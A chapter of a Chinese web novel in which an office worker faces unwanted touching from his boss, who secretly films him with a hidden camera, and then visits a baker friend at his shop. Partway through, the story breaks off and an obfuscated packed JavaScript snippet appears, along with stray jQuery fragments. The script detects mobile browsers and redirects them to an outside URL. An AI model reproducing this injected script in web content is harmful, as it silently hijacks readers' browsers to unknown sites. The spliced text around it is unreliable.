14.14

作品:《谁来烤好吃的蛋挞呢?

    14


    这句话的信息量有点大,以至于衡星反应了一会儿才能理解。


    他是不是直男先不说,重要的是,纪伦是gay,而且是有过对员工下手的前科。


    那就好理解他为什么抓着自己的手了……


    “……”


    衡星突然陷入一种两难境地,就明知前面是一坨狗屎,还得勇往直前那种。


    不过时间就没有让他纠结太久,身上的烟味还没散,秘书就来到工位上,通知他带上策划去一趟总裁办。


    寻常只需要发个消息通知即可,亲自来请可不多见,一时间办公室所有人都朝这边看了过来,直接将衡星架在火上串烤。


    “纪总请您去一趟。”


    随着秘书第二次出声,衡星硬着头皮起身。


    “坐吧。”纪伦随意指了指办公桌对面的位置,“直接说说你的那方案吧。”


    前几天在新项目立项的会议上,衡星提出了一个新的发展方向,确实较为新颖。纪伦和几名高管一致认为可行,让他出了具体的方案。


    整个下午,他们都在讨论这个方案,期间,纪伦还能提出一些较为一针见血的建议,充分证明他并非草包总裁。


    除此之外,两人没有聊其他任何的话题,也没有任何越轨的动作。


    “那你回去再细化。”纪伦吩咐道,“下周五和研发组运营组开个会再讨论一下。”


    “好的。”衡星很牛马地回复。


    收拾着u盘和策划案,心里还在复盘刚刚的建议时,浓烈的香水味自身后突然袭来。


    那种滑腻腻的感觉也如影随形。


    衡星本能地朝右边侧身,但还是有温热的触感飞快擦过耳垂。


    他捂着耳朵惊诧地回头,瞪大了眼,结果纪伦从他脑后脸侧递来一个冒着热气的白瓷杯,稳稳当当放在他面前的桌上,神色如常:“新下来的金骏眉,尝尝?”


    “……谢谢纪总。”衡星礼貌拒绝,“我不喝茶。”


    纪伦耸肩:“可惜了。”


    已经回到工位上,衡星不住地搓着胳膊,但是那触感和身上的鸡皮疙瘩不会骗人。


    是自己反应太大了吗?


    耳朵的话……


    他又使劲搓了搓,想把那感觉揉搓掉,但直至将耳朵揉得通红,不适感依旧挥之不去。


    只不过衡星不知道的是,在总裁办公室的门关闭后,纪伦低头若有所思地捻了捻手指,露出一个意味不明的微笑。


    然后用这沾满香水味的手指,从桌下取下一个隐蔽的针孔摄像头。


    那角度,方才正对着衡星腰下腿间。


    因家里漏水,衡星昨晚就带着东西住进了公司附近的酒店。房东的意思是这房子连修带晒也得个把月,劝衡星赶紧再租个新房,余下房租会退给他。


    找房子并非易事,更何况最近一直加班到周末也在忙,根本没空,今天还得再回去拿点东西。


    车窗外,霓虹灯光闪烁。


    衡星疲惫地靠在车座椅背上,半睁着眼,睫毛颤着。


    枯燥的景物飞速倒退了不知多久后,一扇熟悉的吐司玻璃窗突然闯入眼帘之中。


    生活需要不期而遇的惊喜,就好比平平无奇的一日能被路边一株明艳的花朵,天上一轮弯曲的新月治愈。


    他没想过今天竟能路过越朗的面包店。


    入职半个多月,除了第一天见到了“跑腿小哥”越朗,往后就没有再见面了,只偶尔在微信上闲聊几句。


    想都没想,衡星叫停了车。


    店内灯火通明,越朗本人却不在店里。


    这个时间点,货架上的面包只剩下十几个,不知道是做的不多还是卖剩下了。


    衡星拿起一盒蛋卷,又放回去。


    准备给越朗发个消息时,黄铜风铃响起,有顾客进来了。


    说实在的,这是衡星第一次在店里见到除了他以外的顾客……而且他其实也不能算是顾客……


    听起来还是蛮凄惨的……


    “老板老板,巧克力挞还有吗?我要……”这顾客一进门就开始掏手机调付款码,看清店内只有一个衡星后,“咦老板呢?”


    “老板出去了。”衡星很自然地走到收银台后面,拿起扫码枪,“你要什么我给你结账吧。”


    巧克力蛋挞放在保温玻璃柜中,用夹子取出,装盒,贴上小狗脑袋贴纸和标签,装袋打包,“嘀嘀”两声,完成收银。


    一系列行云流水的操作后衡星完成了收银初体验。


    心里头还有点小激动,感觉像是在玩什么经营类小游戏。


    顾客问:“话说你们店里什么时候把蒜香奶酪包再抬回来?之前吃过一次可太想吃了,结果后面就不再卖了。”


    衡星答非所问:“你是…回头客吗?”


    顾客点头:“是啊。我来过好多回了,还安利了我朋友同事家人,他们都蛮喜欢的。”


    “这样啊。”衡星笑着将纸袋递过去,“谢谢你们喜欢。”


    看来在自己上班的这些天,Crumb Orbit的经营也慢慢变好。


    顾客:“话说你是这里新招的店员吗?没见过你呢,之前每次来都只有老板一个人。”


    衡星愣了下。


    但很快点了点头,垂下眼帘,露出一个浅浅的微笑:


    “是的。”


    “哇哦!”顾客惊呼,“老板都够帅了,店员居然也这么好看!你们店招员工的标准难道是颜值吗?”


    衡星笑着没说话。


    黄铜风铃又响起,这次是越朗回来了。


    看见衡星,他眸中一亮。


    “哎呦老板你可回来了。”顾客拦住他跑向衡星的脚步,“速抬蒜香奶酪包海盐可颂芒果白雪盒子烧椒贡菜腊肠贝果开心果树莓米面包……”


    越朗:“……”


    衡星:“……”


    跟报菜名一样balabala一堆,末了拍拍越朗的肩膀:“你新招的店员真帅真好看。”


    店员?


    这两个字戳中越朗的心,他侧目看向衡星。


    衡星手指比在唇边,做出一个“嘘”的手势,长睫毛上下一颤动,眉眼弯起。


    鬼知道这副模样给好久没见衡星的越小狗带来了多大的冲击。


    妈妈爸爸哥哥呀!算了不要哥哥……


    我!要!娶!他!


    “咳。”越朗拳头抵在唇边轻咳一声,慢慢走到收银台前。


    衡星举起扫码枪晃晃:“这位顾客想要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102530|179393||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点什么?”


    越朗笑:“今天不忙吗?”


    衡星半开玩笑:“忙啊,忙死了,专门来看你的感不感动?”


    刚入职不得闲,更别提那策划案上他熬了两个大夜搞出来的,脸颊越发清瘦,光影下眉骨格外清晰。


    越朗心中泛起一丝心疼:“你上班太累不用专门过来,你说一句,我去找你。”


    为了不让他担心,衡星连忙解释:“其实是回去的路上正好路过啦,看店里亮着灯就想进来看看。”


    越朗思考:“你家顺路吗?”


    衡星只得又讲了一遍家里漏水只能住酒店的事:“你如果认识租房的人,可以帮我问一下。”


    “好,我帮你留意。”越朗这么应着,一个大胆又偷偷摸摸的计划浮现在脑海中。


    再见了哥哥,今晚我就要找房。


    沏上一壶暖呼呼的红茶,摆上几块现烤的焦糖饼干,氤氲热气上飘,饼干渣降落的这一时刻,能治愈一天的疲惫。


    “这个茶真好喝。”衡星轻吹杯中水波。


    “那一会儿给你装块茶饼带走。”越朗托腮,眼睛一眨不眨地看着对面的人。


    “不用太多,一小块就行。”


    就着茶水和点心,两人又聊了近况。


    Crumb Orbit的生意比之前好了许多,回头客不说,外卖业务开展后,很多订单都来自衡星的公司,慢慢发展到那栋办公楼的不同公司。


    都归功与衡星第一天入职点的外卖,没白喂给他们。


    “你呢?上班有没有好玩的事?”


    越朗不去问衡星累不累,换了一种希望能让他高兴点的问法。因为他知道再累再苦衡星都需要现在的工作,因而不去加重他的劳累。


    其实最近上班还是有几件好笑的事,比如两个员工打啵时,女的假睫毛粘在男的人中上,男的出来后只觉得那里痒痒的。


    再比如财务说“干不下去了我要做假账!”的消息发到了公司大群。


    但此时此刻,唯独一件事跳进衡星脑中——


    顶头上司有性骚扰的嫌疑,而自己因缺钱又的确需要这份工作这件进退维谷的事,确实在困扰着他。


    他抿唇,下意识揉着耳朵不知道该怎么说。


    手上动作不自觉加重,血管脆弱,左边整个耳朵变得滴血一样红。


    “不舒服吗?”越朗探身,向他伸出手臂。


    藏着暖色的阴影温柔覆盖下来,春水一般。


    越朗手指骨节没有过分凸出,整体修长流畅,指甲修剪得整齐。常年和面粉黄油白砂糖打交道,带着一股切实存在又无法捕捉的甜味。


    指腹在视线中慢慢接近,最终到达眼帘之外,蹭过脸颊,耳垂,指间轻挑起几根发丝。


    动作如蒲公英轻柔飞过,让人心生不出想躲开的念头。


    最终捏出一片闷青的碎叶。


    越朗指间揉搓几下,将其碾成粉:“现在不痒了吧?”


    挥之不去的刺鼻香水味被替换为扑面而来的蓬松香气,焦糖饼干的味道被具象化。


    衡星瞳孔微微放大。


    同样的部位被触摸,是越朗的话,好像并不讨厌。


    而此时此刻,有一个问题从心中萌发。